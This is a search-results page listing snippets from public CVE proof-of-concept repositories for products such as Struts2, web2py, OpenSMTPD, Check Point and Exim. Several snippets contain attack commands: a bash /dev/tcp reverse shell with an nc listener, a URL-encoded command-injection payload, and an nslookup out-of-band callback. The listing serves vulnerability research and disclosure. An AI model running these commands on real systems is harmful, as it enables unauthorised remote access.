333889 matches found
CVE-2022-46649
CVE-2022-46649 PoC exploit for CVE-2022-46649, a command injection vulnerability in the /cgi-bin/iplogging.cgi endpoint. The vulnerability allows authenticated attackers to execute arbitrary OS commands via crafted tcpdumpParams. Overview Vulnerability: OS Command Injection Endpoint:...
CVE-2018-11776
CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...
CVE-2025-64495-POC
CVE-2025-64495-POC Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE Summary The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prom...
eternalblue-ms17-010-research
💀 EternalBlue MS17-010 Exploitation Research Controlled reproduction of CVE-2017-0144 — the SMB vulnerability behind the WannaCry ransomware outbreak ⚠️ Disclaimer: This research was conducted in a fully isolated, controlled lab environment for academic and educational purposes only. No production...
CVE-2023-45158
CVE-2023-45158 Steps 1. Run the webserver cd web2py python3 web2py.py 2. Inject your command using the URL http://:8000/hack?msg=%27%3B%3B%27. Replace and with your values. Examples 1. Create a file on the server http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Reverse shell On the attacker's...
n8n-RCE-CVE-2025-68613
n8n Expression Injection RCE Analysis CVE-2025-68613 This repo contains the lab report I prepared for exploiting the vulnerable n8n service available on the Hackviser platform. In the study, I demonstrated how I performed a sandbox escape by using the expression evaluation mechanism on n8n and...
CVE-2025-25706
CVE-2025-25706 Description Item: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix Vulnerability Type: Remote Code Execution...
coldfusion-amf
coldfusion-amf Coldfusion AMF PWN pwn http://localhost "nslookup burpcollab.net"...
cve-2020-7247
cve-2020-7247 Exploit Title: OpenSMTPD 6.6.2 - Remote Code Execution. The new Date: 2020-01-29. Exploit Author: 1F98D. Original Author: Qualys Security Advisory. Vendor Homepage: https://www.opensmtpd.org/. Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1. Version:...
CVE-2024-24919
Check Point Security Gateway RCE Exploit Tool CVE-2024-24919 Overview This repository contains a tool for exploiting the CVE-2024-24919 vulnerability in Check Point Security Gateways. The tool is a multi-scanner that can identify vulnerable devices and a single-target exploit that can take full...
CVE-2026-34197
CVE-2026-34197 Description Improper Input Validation, Improper Control of Generation of Code ‘Code Injection’ vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access polic...
CVE-2023-43208
CVE-2023-43208 Mirth Connect RCE PoC Proof-of-concept Python script targeting CVE-2023-43208 in Mirth Connect. Disclaimer Use only in environments you own or are explicitly authorized to test. This repository is for security research, validation, and defensive testing. The author assumes no...
CVE-2022-2992
CVE-2022-2992 Authenticated Remote Command Execution in Gitlab via GitHub import. A vulnerability in GitLab CE/EE affecting all versions from 11.10 before 15.1.6, all versions starting from 15.2 before 15.2.4, all versions starting from 15.3 before 15.3.2. allows an authenticated user to achieve...
CVE-2022-27925-PoC
CVE-2022-27925-PoC Zimbra RCE simple poc...
CVE-2020-0601
CVE-2020-0601 Remote Code Execution Exploit CVE-2020-0601- Citrix Application Delivery Controller & Gateway...
CVE-2025-13486
🔴 CVE-2025-13486 - Advanced Custom Fields Extended ACFE WordPress Plugin Exploit 📋 Overview Proof-of-concept exploit for CVE-2025-13486 , a critical vulnerability in the Advanced Custom Fields: Extended ACFE WordPress plugin that allows Remote Code Execution leading to Privilege Escalation. 🎯...
CVE-2024-21683-RCE
CVE-2024-21683-RCE Credit https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Usage git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...
CVE-2014-6271
Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...
Dead.Letter-CVE-2026-45185
CVE-2026-45185 — "Dead.Letter" Exim Vulnerability Scanner A shell script for detecting whether a Linux system is vulnerable to CVE-2026-45185, a use-after-free in the Exim mail transfer agent that can lead to remote code execution. Designed for use in CI/CD pipelines, configuration management...